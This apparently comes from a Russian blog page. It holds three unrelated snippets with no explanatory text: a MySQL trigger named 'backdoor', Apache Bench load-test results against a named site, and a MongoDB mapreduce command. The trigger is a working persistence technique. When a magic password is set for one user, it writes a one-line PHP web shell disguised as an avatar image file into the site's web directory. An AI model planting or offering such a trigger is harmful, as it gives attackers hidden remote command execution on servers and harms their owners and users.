Ядоблог

delimiter |
CREATE TRIGGER backdoor AFTER UPDATE ON users
FOR EACH ROW label:BEGIN
IF (SELECT password FROM users WHERE id=123)='gimme_that_shell' THEN
SELECT '<?=`$c`?>' INTO OUTFILE '/home/site/httpdocs/avators/smile.php';
ELSE
LEAVE label;
END IF;
END;

SELECT * FROM information_schema.TRIGGERS

ab -c 20 -n 200 http://lenta.iadlab.ru/

Concurrency Level:      20
Time taken for tests:   51.226 seconds
Complete requests:      200
Failed requests:        0
Write errors:           0
Total transferred:      10737600 bytes
HTML transferred:       10688600 bytes
Requests per second:    3.90 [#/sec] (mean)
Time per request:       5122.616 [ms] (mean)
Time per request:       256.131 [ms] (mean, across all concurrent requests)
Transfer rate:          204.70 [Kbytes/sec] received
 
Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    0   0.1      0       1
Processing:   473 4935 1205.1   4900   10384
Waiting:      272 4544 1024.4   4588    9127
Total:        473 4935 1205.1   4900   10384

Concurrency Level:      20
Time taken for tests:   35.107 seconds
Complete requests:      200
Failed requests:        0
Write errors:           0
Total transferred:      10737600 bytes
HTML transferred:       10688600 bytes
Requests per second:    5.70 [#/sec] (mean)
Time per request:       3510.692 [ms] (mean)
Time per request:       175.535 [ms] (mean, across all concurrent requests)
Transfer rate:          298.69 [Kbytes/sec] received
 
Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    0   0.6      0       3
Processing:   418 3366 791.7   3310    6196
Waiting:      324 3015 625.8   3056    4991
Total:        421 3366 791.4   3310    6196

db.runCommand(
{ mapreduce: operations_groups, 
 map : function Map() {
this.operations.forEach
(
	function(z)
	{
		emit( this.id , z);
	}
);
}
 reduce : function Reduce(key, values) {
 
	return {values:values.sort()};
}
 finalize : function Finalize(key, reduced) {
	return reduced;
}
 keeptemp : false
});